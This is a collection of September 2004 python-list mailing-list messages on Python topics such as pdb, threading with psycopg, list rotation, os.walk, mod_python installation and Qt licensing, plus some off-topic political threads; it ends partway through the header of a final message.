From max at alcyone.com  Tue Sep  7 15:21:49 2004
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 07 Sep 2004 12:21:49 -0700
Subject: %a format
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no>
Message-ID: <413E0A4D.D1E91162@alcyone.com>

Tor Iver Wilhelmsen wrote:

> John Lenton <john at grulic.org.ar> writes:
> 
> > Is there any reason python's printf-style formatting is missing the
> > (C99) '%a' specifier?
> 
> Because it's not very well known or used? A google for "C printf
> format string" gave lots of resources, none of which had %a.

It's not C99, anyway; my copy of C99 makes no mention of it (the only
mention of %a is associated with gmtime.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ Education is a state-controlled manufactory of echoes.
    -- Norman Douglas


From ken at perfect-image.com  Mon Sep 20 12:17:09 2004
From: ken at perfect-image.com (Ken Godee)
Date: Mon, 20 Sep 2004 09:17:09 -0700
Subject: Psycopg and threads problem
In-Reply-To: <414EF5BC.9010002@magproductions.nl>
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>	<0fidnS729Ln4bdPcRVn-hQ@giganews.com>
	<414EF5BC.9010002@magproductions.nl>
Message-ID: <414F0285.3040609@perfect-image.com>

> 
> The script I'm working on does bulk inserts from multiple related XML 
> files (parsed using the sax parser) and take turns inserting small 
> batches of xml records from those files. The collection thread combines 
> these into 1 xml record, which is why it's so important that the inserts 
> are done in time.
> 
> I can't commit until all the data has been inserted and combined. The 
> commit shouldn't happen until the end of the main thread is reached.
> 
> If the server goes down, or there's another reason it can't continue 
> parsing, the whole transaction should rollback. Committing in between 
> would be 'problematic' (where in the XML files were we interupted? Hard 
> to tell).
> 
> Also, I don't think I can join the threads (as someone else suggested), 
> as they are still working in an Application instance (part of the SAX 
> parser). The threads are waiting until they're allowed to continue; by a 
> linked list of Events (so that I can remove events for threads that 
> finished - which shouldn't happen, but it may). Unless I misunderstand 
> thread joining, of course.
> 

I would probally pass a queue instance to the worker threads
and in the main thread create a timer method/function that periodically 
checks the queue.

When the worker thread is done doing its thing, do a commit and 
queue.put('done')

When the main thread checks the queue.get(0) = 'done'
have it do it's thing.

This is the beauty of queues.




From zanesdad at bellsouth.net  Fri Sep 17 09:50:42 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Fri, 17 Sep 2004 09:50:42 -0400
Subject: changing local variable values in python debugger
In-Reply-To: <fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com>
References: <cic219$l1s@odak26.prod.google.com>	<414AE09D.3050607@bellsouth.net>
	<fvplk0lecej975q6q1fl76b8mpmmf8us00@4ax.com>
Message-ID: <414AEBB2.6000202@bellsouth.net>

Richie Hindle wrote:

>[Jeremy]
>  
>
>>Is there any way to modify a local variable in the Python debugger (pdb)?
>>[...]
>>(Pdb) f
>>'a'
>>(Pdb) f = 'd'
>>(Pdb) f
>>'a'
>>    
>>
>
>In fact what you're doing there *is* working - look:
>
>  
>
>>c:\src\tests\jeremy-pdb.py(9)main()
>>    
>>
>-> if f == 'd':
>(Pdb) f
>'b'
>(Pdb) f = 'd'
>(Pdb) s
>  
>
>>c:\src\tests\jeremy-pdb.py(10)main()
>>    
>>
>-> b(f)
>
>Setting the value of a local variable works, but *examining* the value resets
>it to whatever it was when you arrived at the current pdb prompt.  It's a bug,
>either in pdb or in Python's core debugger support depending on how you look
>at it.  I've been meaning to try to fix this for ages, but haven't found the
>time to figure out how to do so.
>
>  
>
Doh!  Thanks!  I didn't try to continue stepping through without 
re-evaluating the variable.  That will save my sanity.  I knew there had 
to be a way to do it, but I didn't know that I was already doing it.  
Thanks again!


Jeremy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040917/7a8e9231/attachment.html>

From rays at blue-cove.com  Tue Sep 21 18:36:42 2004
From: rays at blue-cove.com (Ray S)
Date: Tue, 21 Sep 2004 15:36:42 -0700
Subject: Help Req: pipedream.py, win32pipe, and compilers
In-Reply-To: <101q7sbms36eb9e@corp.supernews.com>
References: <5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<mailman.1081.1075583900.12720.python-list@python.org>
	<bvhbr7$6rj$07$1@news.t-online.com>
	<mailman.1093.1075628924.12720.python-list@python.org>
Message-ID: <5.2.0.4.2.20040921135316.00b01250@blue-cove.com>

Does anyone know why a script that uses win32pipe.popen3() will run a 
script, but hang when compiled?

I can't get a script that uses pipedream.py to run when compiled with 
McMillan or py2exe; it appears that the client process (an interactive DOS 
exe) returns the first screen of text, gets to its first prompt, then exits.

pipedream.py does: c = os.read(self._in.fileno(), 1) and just hangs, no error.

I'd appreciate any and all tips ...

Ray Schumacher
Blue Cove Interactive
7220 Trade Street, Suite 101
San Diego, CA 92121
858.695.8801
http://Blue-Cove.com



From kbk at shore.net  Wed Sep 29 01:17:48 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Wed, 29 Sep 2004 01:17:48 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200409290517.i8T5Hm0L017921@h006008a7bda6.ne.client2.attbi.com>

Patch / Bug Summary
___________________

Patches :  235 open ( +0) /  2637 closed ( +4) /  2872 total ( +4)
Bugs    :  768 open ( +1) /  4480 closed (+17) /  5248 total (+18)
RFE     :  152 open ( +1) /   131 closed ( +0) /   283 total ( +1)

New / Reopened Patches
______________________

unittest.py patch: add skipped test functionality  (2004-09-24)
       http://python.org/sf/1034053  opened by  Remy Blank

Remove CoreServices / CoreFoundation dependencies in core  (2004-09-26)
       http://python.org/sf/1035255  opened by  Bob Ippolito

-m option to run a module as a script  (2004-09-28)
       http://python.org/sf/1035498  opened by  Nick Coghlan

Add New RPM-friendly record option to setup.py  (2004-09-28)
       http://python.org/sf/1035576  opened by  Jeff Pitman

Patches Closed
______________

Add API to logging package to allow intercooperation.  (2004-09-21)
       http://python.org/sf/1032206  closed by  vsajip

SystemError generated by struct.pack('P', 'notanumber')  (2004-08-18)
       http://python.org/sf/1011240  closed by  arigo

(bug 952953) execve empty 2nd arg fix  (2004-08-14)
       http://python.org/sf/1009075  closed by  arigo

atexit decorator  (2004-09-21)
       http://python.org/sf/1031687  closed by  rhettinger

New / Reopened Bugs
___________________

idle -n crashes  (2004-09-22)
CLOSED http://python.org/sf/1032395  opened by  Matthias Klose

Odd behavior with unicode.translate on OSX.  (2004-09-22)
       http://python.org/sf/1032615  opened by  Jeremy Fincher

ftplib has incomplete transfer when sending files in Windows  (2004-09-22)
       http://python.org/sf/1032875  opened by  Ed Sanville

Confusing description of strict option for email.Parser  (2004-09-23)
       http://python.org/sf/1032960  opened by  Andrew Bennetts

Misleading error message in random.choice  (2004-09-22)
CLOSED http://python.org/sf/1033038  opened by  Nefarious CodeMonkey, Jr.

build doesn't pick up bsddb w/Mandrake 9.2  (2004-09-23)
       http://python.org/sf/1033390  opened by  Alex Martelli

buffer() object broken.  (2004-09-23)
CLOSED http://python.org/sf/1033720  opened by  James Y Knight

Can't inherit slots from new-style classes implemented in C  (2004-09-24)
       http://python.org/sf/1034178  opened by  Phil Thompson

More buffer object brokenness  (2004-09-24)
CLOSED http://python.org/sf/1034242  opened by  James Y Knight

Why does Python link to Foundation?  (2004-09-24)
       http://python.org/sf/1034277  opened by  Bob Ippolito

Configure uses GNU ld flags with non-GNU compilers/linkers  (2004-09-25)
CLOSED http://python.org/sf/1034496  opened by  Drew Schatt

hex() and oct() documentation is incorrect  (2004-09-27)
       http://python.org/sf/1035279  opened by  Nick Coghlan

distutils.util.get_platform() should include sys.version[:2]  (2004-09-27)
       http://python.org/sf/1035703  opened by  Bob Ippolito

Tix.Grid widgets not implemented yet  (2004-09-28)
       http://python.org/sf/1036406  opened by  Christos Georgiou

unicode strings cannot be dictionary keys  (2004-09-28)
       http://python.org/sf/1036490  opened by  Morten Kjeldgaard

Email module's feed parser  (2004-09-28)
CLOSED http://python.org/sf/1036506  opened by  Matthew Cowles

file.next() info hidden  (2004-09-28)
       http://python.org/sf/1036626  opened by  Nick Jacobson

printf() in dynload_shlib.c should be PySys_WriteStderr  (2004-09-28)
       http://python.org/sf/1036752  opened by  Jp Calderone

Bugs Closed
___________

rfc822 __iter__ problem  (2004-09-17)
       http://python.org/sf/1030125  closed by  rhettinger

Fold tuples of constants into a single constant  (2004-09-20)
       http://python.org/sf/1031667  closed by  rhettinger

Misleading error message in random.choice  (2004-09-22)
       http://python.org/sf/1033038  closed by  rhettinger

PEP 302 loader not carried through by reload function  (2004-09-16)
       http://python.org/sf/1029475  closed by  pje

Float/long comparison anomaly  (2002-02-06)
       http://python.org/sf/513866  closed by  tim_one

buffer() object broken.  (2004-09-23)
       http://python.org/sf/1033720  closed by  nascheme

ConfigParser's get method gives utf-8 for a utf-16 config...  (2004-01-10)
       http://python.org/sf/874354  closed by  goodger

More buffer object brokenness  (2004-09-24)
       http://python.org/sf/1034242  closed by  nascheme

embedding in multi-threaded &amp; multi sub-interpreter environ  (2004-03-22)
       http://python.org/sf/921077  closed by  bcannon

Configure uses GNU ld flags with non-GNU compilers/linkers  (2004-09-25)
       http://python.org/sf/1034496  closed by  loewis

2.4 asyncore breaks Zope  (2004-08-18)
       http://python.org/sf/1011606  closed by  tim_one

CPU usage shoots up with asyncore  (2004-08-16)
       http://python.org/sf/1010098  closed by  arigo

execve rejects empty argument list  (2004-05-13)
       http://python.org/sf/952953  closed by  arigo

email.Message.Message.__getitem__ doc string wrong  (2004-06-25)
       http://python.org/sf/979924  closed by  bwarsaw

Email module's feed parser  (2004-09-28)
       http://python.org/sf/1036506  closed by  bwarsaw

idle -n crashes  (2004-09-22)
       http://python.org/sf/1032395  closed by  kbk

IDLE hangs when inactive more than 2 hours  (2004-08-02)
       http://python.org/sf/1001869  closed by  kbk



From claird at lairds.us  Thu Sep  9 18:08:04 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 09 Sep 2004 22:08:04 GMT
Subject: Best way to get ip address
References: <mailman.3117.1094756871.5135.python-list@python.org>
Message-ID: <ngv612-oqp.ln1@lairds.us>

In article <mailman.3117.1094756871.5135.python-list at python.org>,
Darren Kirby  <bulliver at badcomputer.no-ip.com> wrote:
>-=-=-=-=-=-
>
>Hello list:
>
>I am writing a small app in python which tracks the kernel banner at 
>kernel.org and downloads newer kernel version(s) (if there are any).
>
>I am using GeoIP to set the download to a local mirror if there is one. This 
>is what I use to get the local IP address:
>
>ip = socket.gethostbyaddr(socket.gethostname())
># returns:  ('hostname.domain', ['hostname'], ['192.168.0.2'])
>ip = str(ip[2])
># returns:  "['192.168.0.2']"
>ip = ip[2:-2]
># returns:  '192.168.0.2'
>
>This works fine, but seems a little crufty and convoluted, and usually when 
>things get crufty it means there is a better way to do it...so is there a 
>preferred way of obtaining a local IP address?
>
>Another issue is that if the user is behind a NAT firewall or somesuch and 
>uses a private network address then the whole GeoIP code is moot. I was 
>thinking that if this is the case then the app could check for the default 
>gateway of the machine and use that IP instead, but of course the gateway may 
>just be another private network IP address. Does anyone have some ideas on 
>how I could make this code useful with a private IP address?
			.
			.
			.
Your instincts are healthy; this *is* convoluted.  As it
turns out, though, there's no clearly better answer.

For various reasons--I find it convenient today to blame "sec-
urity"--there is not and will not be a satisfying answer to
this question.  You might like to read through, for example, <URL:
http://groups.google.com/groups?frame=left&th=7026ecbc602559e6 >.


From steve at holdenweb.com  Tue Sep 28 20:28:04 2004
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 28 Sep 2004 20:28:04 -0400
Subject: annoying behavior
In-Reply-To: <mailman.4029.1096404065.5135.python-list@python.org>
References: <9418be08.0409280856.9368ddf@posting.google.com>	<41599BD7.7040809@bellsouth.net>
	<mailman.4029.1096404065.5135.python-list@python.org>
Message-ID: <0on6d.1653$TY2.18@lakeread04>

elbertlev at hotmail.com wrote:

> ----- Original Message -----
> From: "Jeremy Jones" <zanesdad at bellsouth.net>
> To: "Elbert Lev" <elbertlev at hotmail.com>
> Cc: <python-list at python.org>
> Sent: Tuesday, September 28, 2004 1:13 PM
> Subject: Re: annoying behavior
> 
> Jeremy!
> 
> Sure it would be nice if a the interpreter would give a warning before
> really instantiating the instance of class foo (at least in "debug" mode).
> In my case the error happened after the program ran about 30 minutes. I do
> not think this is impossible.

If not thinking something impossible actually made it possible then it 
would be possible for me to ignore this thread rather than responding to it.

Next you'll be asking us to modify the compiler so it produces an error 
if someone feeds it a program that never terminates.

If your program ran for 30 minutes before this quite-obvious bug 
appeared then I should suggest you do some serious reading on the 
subjects of unit-testing and test-first programming.

Alternatively, look for a language with DWIM-mode :-)

regards
  Steve


From hat at se-126.se.wtb.tue.nl  Thu Sep  9 11:31:00 2004
From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp)
Date: Thu, 9 Sep 2004 15:31:00 +0000 (UTC)
Subject: Using Python to generate code?
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
	<mailman.3041.1094661030.5135.python-list@python.org>
	<1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com>
	<mailman.3048.1094665075.5135.python-list@python.org>
	<10jvm82sae48rfd@corp.supernews.com>
	<ed89f8f2.0409090609.682ff121@posting.google.com>
Message-ID: <slrnck0tpj.h1d.hat@se-126.se.wtb.tue.nl>

On 9 Sep 2004 07:09:10 -0700, Tran Tuan Anh <anhtt at hotmail.com> wrote:
> - I'm familar with Java, C, C++, and Pascal, some experiences with
> SML. Could you elaborate about some Python's string-manipulation
> features?

I can never beat the online documentation:

http://www.python.org/doc, click 'Module index', click 'strings'.

I don't know where the string template thingies are described, but it
has to be there somewhere.

> - So now imagine if I have to convince my supervisor, an
> theoretic-non-progammer, about switching to Python for this code
> generator program, what kind of advantages I can get from doing so?

Same:

http://www.python.org/ look in the 'Documentation links', in particular
the 'introductions to python'. There is a section of links to convince
those that control what we do (they think :-) ).


[ python documentation is awesome, very complete and very good. Browse
  the website for answers to just about any question.
]


Albert
-- 
Unlike popular belief, the .doc format is not an open publically available format.


From db3l at fitlinxx.com  Wed Sep  1 19:54:06 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 01 Sep 2004 19:54:06 -0400
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <u7jrdwnoh.fsf@fitlinxx.com>

"Dan Perl" <dperl at rogers.com> writes:

(...)
> Very good point.  I would usually assume that you should initialize the
> superclass's attributes first, and then the subclass's.  But that may not
> always be the intent and I may just be influenced by my background in C++
> and Java.  (...)

I do find it reasonably common (particularly in GUI applications when
I'm subclassing standard GUI objects) to have a subclass that massages
the constructor inputs slightly (perhaps adding different defaults, or
filtering the arguments) before passing them on to the superclass.

In C++ you can sometimes manage this as long as the manipulation is
simple exclusion or addition that can be performed in the
initialization code prior to the start of the subclass constructor,
but that's very limited (and otherwise can end up forcing you into the
2-phase construction model).  So I find Python's freedom of
controlling exactly when the superclass is initialized with complete
control over its arguments very liberating.

-- David


From pit.grinja at gmx.de  Thu Sep  2 15:09:08 2004
From: pit.grinja at gmx.de (Piet)
Date: 2 Sep 2004 12:09:08 -0700
Subject: Installation of mod_python 3.1.3 on Apache 2.0.50 on Windows
	Me/Win2k
References: <39cbe663.0408290850.14452ab9@posting.google.com>
	<cgvhq2$pur$1@ctb-nnrp2.saix.net>
Message-ID: <39cbe663.0409021109.6c3983b@posting.google.com>

David Fraser <davidf at sjsoft.com> wrote in message news:<cgvhq2$pur$1 at ctb-nnrp2.saix.net>...
> This error was found when installing the original mod_python 3.1.3 for 
> Windows installer on a non-Admin install of Python. You'll probably find 
> that the registry does exist, but under HKEY_CURRENT_USER, not 
> HKEY_LOCAL_MACHINE.
> 
> In fact mod_python has actually been installed correctly, but the 
> instructions about changing your apache configuration have not been 
> given, and the mod_python library hasn't been copied into the Apache 
> directory.
> 
> These issues should all be fix in the latest win32 build of mod_python 
> available from 
> http://davidf.sjsoft.com/files/mod_python-3.1.3-1.win32-py2.3.exe
> 
> Need to get Grisha to release this...
> 
> I would recommend removing the Scripts/win32_postinstall.py file before 
> running it...
> 
> Hope that helps, if you have errors report them here or on the 
> mod_python mailing list.
> 
> David

Hi David.
The new version worked, and I am looking forward exploring server-side
cgi-scripting with my favorite programming language. Any reason why
the new installer is not released?
Thx
Peter


From ljelmore_ at _comcast_._net  Fri Sep  3 19:52:14 2004
From: ljelmore_ at _comcast_._net (Larry Elmore)
Date: Fri, 03 Sep 2004 23:52:14 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
Message-ID: <Os7_c.113460$Fg5.65632@attbi_s53>

Alan Balmer wrote:
> On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy"
> <jwkenne at attglobal.net> wrote:
> 
> 
>>Anne & Lynn Wheeler wrote:
>>
>>>i have some recollection of competing bids building single unit
>>>assemblies at sea coast sites allowing them to be barged to
>>>florida. supposedly the shuttle boosters were sectioned specifically
>>>because they were being fabricated in utah and there were
>>>transportation constraints.
>>
>>Yes.  A vastly inferior design was used, which ended up killing seven 
>>astronauts, because Orrin Hatch had to be appeased with boodle for Utah.
> 
> 
> The first disaster was due to (possibly inferior) gaskets and inferior
> judgment on launch day. The second was falling foam, and inferior
> realization of the gravity of the problem. I'm not clear on what
> either had to do with Utah.

The gaskets wouldn't have been necessary if the SRBs had been built in a 
single piece instead of having to be assembled from seven sections. The 
problem was that one-piece SRBs are too big for land transport, and for 
political reasons (i.e., buying support), the SRBs were to be built in 
Utah by Morton-Thiokol. Ergo, multi-section SRBs with gaskets "required".

--Larry


From ivoras at __-geri.cc.fer.hr  Wed Sep 15 18:10:09 2004
From: ivoras at __-geri.cc.fer.hr (Ivan Voras)
Date: Thu, 16 Sep 2004 00:10:09 +0200
Subject: Rotating lists?
Message-ID: <ciaek6$6l$1@bagan.srce.hr>

I need to transform this:

[1,2,3]

into this:

[2,3,1]

(a left-rotation. Actually, any rotation will do).

I tried:

a = a[1:] + a[0]

which doesn't work because there's no __add__ between a list and 
integer, and:

a = a[1:].append(a[0])

but it doesn't work, since append returns None :( Right now, I'm doing 
it with a temporary variable and it looks ugly - is there an elegant way 
of doing it?



From pfortin at pfortin.com  Wed Sep 15 16:39:09 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Wed, 15 Sep 2004 16:39:09 -0400
Subject: list/tuple to dict...
Message-ID: <20040915163909.4234ce31@gypsy.pfortin.com>

Hi,

Is the following a reasonable generic approach for converting python
returned tuples/lists into dicts...?  I'm not advocating library functions
also return dicts (I'd probably spend more time looking up the real
names... :)  I'm just looking to make my code more readable and
self-documenting...


--------
class todict:
    """ Converts a list/tuple to a dict:  foo = todict(values,names) """
    def __init__(self,values,names):
        self.d = {}
        for i,name in enumerate(names.split(",")):
            self.d[name.strip()]=values[i]
    def __setitem__(self, name, value):
        self.d[name]=value
    def __getitem__(self, name):
        return self.d[name]

import os

# called this way, I can see what is returned in what order
uname = todict(os.uname(), "sysname, nodename,release,version, machine")

filename = "/etc/passwd"
osstat = todict(os.stat("%s" % filename),
                "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime")
osstat['filename'] = filename

print "You're running %(sysname)s %(release)s on %(nodename)s" % uname
# mtime needs formatting...
print "File '%(filename)s' was last modified %(mtime)s" % osstat
---------
Returns:
You're running Linux 2.6.3-15mdk on gypsy.pfortin.com
File '/etc/passwd' was last modified 1080568025

A number of values are set and not used; though I think it's a small
price to pay for making the results of lists/tuples more readable and
useful...

Over time, I'll probably build a list of functions I use and just
copy/paste the line(s) I need:

~/pytemplates:
osstat = todict(os.stat("%s" % path),
                "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime")
uname = todict(os.uname(),
               "sysname, nodename,release,version, machine")
etc...

The only part I still don't like is:
osstat['filename'] = filename

Is there a way to rewrite the class to allow for calls which take parms to
include the parms in the resulting dict..?  I'm probably trying to get too
cute here though... :^)        

The newbie who gets to read (maintain?) my code should have an easier
time; at least, that's my intent...  Though Alex will probably consider
this boilerplating...  I think .some. boilerplating is good...   B-]

Other suggestions welcome :^)

Thanks,
Pierre



From jl_post at hotmail.com  Fri Sep  3 00:06:39 2004
From: jl_post at hotmail.com (J. Romano)
Date: 2 Sep 2004 21:06:39 -0700
Subject: Larry Wall & Cults
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
Message-ID: <b893f5d4.0409022006.68c9690f@posting.google.com>

xah at xahlee.org (Xah Lee) wrote in message news:<7fe97cc4.0408251356.34f2102a at posting.google.com>...
> 
> In the computing world, there're also bad seeds with
> colorful creed taking innocent mobs forming cults.
> The three principal virtues of a programmer are Laziness,
> Impatience, and Hubris. Yes?
> 
> How can we prevent heinous cults then? Stop bending
> truths.  Education and rationalism. I'm starting my
> own cult to exterminate morons on this earth.  Two
> things are on the top of my agenda: Unixism and Perl.

   You know... the original poster has a point...

   After all, Perl programmers have been known to "use Curses", as
well as hex(), bless(), and sin().  (Which might lead him to believe
that Perl programmers will eventually pack() their belongings, split()
from their families , and join an isolated community where there is
nothing to do but study() until you die() (or your mind goes
"pop()"!).

   Coincidence?  (I think so!)

   (Wow... Python advocacy has really taken a bizarre turn lately...)

   -- J.


(My apologies if I offended any Python programmers.  It was not my
intention to associate the Python community with the original poster.)


From aleaxit at yahoo.com  Wed Sep 15 18:23:36 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 00:23:36 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com>
Message-ID: <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>

Jorge Godoy <godoy at ieee.org> wrote:

> aleaxit at yahoo.com (Alex Martelli) writes:
> 
> >> I really would like a lot if it was possible to write
> >> non-GPL code with Qt (not that I'm against GPL software, but some
> >
> > It's perfectly possible: Trolltech, the authors of Qt, will be extremely
> > happy to sell you a commercial license of Qt so you can develop and sell
> > your code as closed-source or whatever.
> 
> Then I'd have to buy something like PyQT, and then I'd have to buy
> something like ... :-)

If you buy BlackAdder, it comes with PyQT and Qt licenses and is cheaper
than the Qt license for C++ development.  A great bargain even if you
never use the IDE itself (unless you also want to do C++ dev't).

> I like the widgets, and the visual, but I can't afford buying a whole
> toolchain for using it.  So, I use the tools that are free, that allow

I believe the "whole toolchain" (BlackAdder -- period) cost about $300
(==Euro 250) for a one-user license (commercial, with full right to
redistribute the apps you develop).  I'm not sure how much you charge
for all of the apps you develop, but if 250 euros (fiscally deducible
from your fees, of course!) make a significant dent in your income, then
I agree that you can't afford Qt.

No doubt, eventually, wxPython (which has been growing by leaps and
bounds for quite a while now) will overtake Qt, and/or the cygwin guys
will manage to release a native GPL Qt for Windows, and/or PyGUI will
overtake both.  For the last couple years, though, it seems to me that
anybody who claims he really wishes he could write (Python) non-GPL
commercial code with Qt and hasn't considered buying BlackAdder must
_definitely_ charge too little for the application he or she sells.


> delivery (after all, he paid for that) or writing free software (free
> software was their choice 75% of the time, this is another reason I
> wouldn't invest on buying a license of Qt for commercial software...).

Unfortunately, GPL Qt doesn't (yet) run on Windows, which (for my
average customer) would be a blocking factor.


> Indeed.  Macs are cool, but expensive.  Our salaries here in .br are not
> like your in the US or Europe...  :-) 

Somebody just posted to it.comp.macintosh about their astonishment
regarding Mac prices: they carefully configured Dell and Mac machines
that were roughly equivalent -- pretty big ones (2GB RAM, 20" LCD
screens, 250 GB disk, and in the case of the Mac a 64-bit CPU) and they
came out to very much the same price, 3000 Eur including VAT.  Except
that on the Mac a superb professional development system is free for the
downloading (XCode 1.5) while for Windows they'd need to splurge another
thousand or so for Visual Studio Enterprise, not to mention the Mac's
"iLife" suite (mostly not relevant to most professional users).  They
were astonished because they'd chosen the cheapest Dell desktop that
could be pushed that high (a 4600, I believe).

I'm at the other end of the spectrum, with an iBook 12" ultraportable
which cost me, 9 months ago, roughly 1000, about 1/2 as much as the
closest comparable machine in the Windows world (an IBM Thinkpad X40).
In this case, adding the $$$ for Visual Studio to the mix, vs the free
XCode I have here, would make the price comparison just ridiculous.
People lusting for upgrades (because of course today's Mac are better
than last year's) are typically trying to sell such machines for 700-800
or thereabouts, if they're perfect except for their age of about a year.
I wouldn't know where to find a good ultraportable 12" in the PC world
for this kind of prices -- and if I did, Linux wouldn't perfectly
support its "sleep" facilities, a key issue in ultraportable laptops.

Of course, the PC world has a MUCH wider range of offerings, including
low-performance, low-quality ultracheap 250-or-so boxes -- that's what I
typically throw in (with OpenBSD on them) when I propose some
configuration to cheapskate customers.  But, as I needed a good laptop,
with the amount of travel I do, that option just wasn't around for me.


Alex


From danperl at rogers.com  Sun Sep 26 19:59:33 2004
From: danperl at rogers.com (Dan Perl)
Date: Sun, 26 Sep 2004 19:59:33 -0400
Subject: emulating du with os.walk
References: <slrnclej7g.cl6.kirk@eyegor.jobsluder.net>
Message-ID: <r-CdncA5tcx6ysrcRVn-gQ@rogers.com>

Firs of all, I don't know how much you already know about os.walk, but it 
can traverse trees either top-down or bottom-up (it has an argument 
'topdown').  The default is topdown=True.  What you probably need in your 
case is a bottom-up traversal (so pass topdown=False).

Then you have to keep track of all the directories (I can suggest a data 
structure if you want) and add the du values of all the children directories 
plus the sizes of all the files to determine the du value of a parent 
directory.

Without seeing your code, I'm guessing you are not doing one of these 
things.

Dan

"Kirk Job-Sluder" <kirk at eyegor.jobsluder.net> wrote in message 
news:slrnclej7g.cl6.kirk at eyegor.jobsluder.net...
> Hrm, I'm a bit stumped on this.
>
> I want to write a script lists a file directory hierarchy and gives me a
> sorted list showing cumulative directory size.  The example code for
> os.walk gets me half-way there, but I can't quite figure out how to do
> the hierarchal sum.  Here is the output I'm getting:
>
> /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory
> files
> /home/kirk/.gconf/apps/ggv consumes 0 bytes in 1 non-directory files
> /home/kirk/.gconf/apps consumes 0 bytes in 1 non-directory files
>
> However, what I want is:
>
> /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory
> files
> /home/kirk/.gconf/apps/ggv consumes 228 bytes in 1 non-directory files
> /home/kirk/.gconf/apps consumes 228 bytes in 1 non-directory files
>
> There should be an easy way to get around this, or perhaps I'm better
> off just parsing the output of du.
>
> -- 
> Kirk Job-Sluder
> "The square-jawed homunculi of Tommy Hilfinger ads make every day an
> existential holocaust."  --Scary Go Round 




From grante at visi.com  Fri Sep 10 11:28:48 2004
From: grante at visi.com (Grant Edwards)
Date: 10 Sep 2004 15:28:48 GMT
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
Message-ID: <4141c830$0$65574$a1866201@newsreader.visi.com>

On 2004-09-10, Alan Balmer <albalmer at att.net> wrote:

>>It's been revealed that here in British Columbia (that part of
>>Canada on the Pacific coast for those of you who are geographically
>>challenged), management of medical information has been farmed out
>>to a subsidiary of a U.S. corporation.  According to the Patriot Act,
>>the U.S. government is entitled to access these files, and anyone -
>>American or Canadian - who so much as mentions that they're doing it
>>can be thrown into a U.S. jail.
>
> Can you point to the relevant section(s) of the Act?
>
> Can you point to the international agreement which allows Canadian
> citizens to be thrown into US jails for the stated offense?

I know I shouldn't reply to threads like this, but I just can't
help it...

What makes you think that the current US government gives a
shit about international agreements?  Bush thinks he's entitled
to declare anybody and everybody an "enemy combatant" and lock
them up in secret forever.  Add a moustache and he'd make a
pretty good Stalin.

-- 
Grant Edwards                   grante             Yow!  Yow! Now we can
                                  at               become alcoholics!
                               visi.com            


From iker at research.att.com  Tue Sep 14 15:00:31 2004
From: iker at research.att.com (Iker Arizmendi)
Date: Tue, 14 Sep 2004 19:00:31 GMT
Subject: Subclassing in C
In-Reply-To: <m3vfeg965o.fsf@pc150.maths.bris.ac.uk>
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
	<41470D3A.1040206@research.att.com>
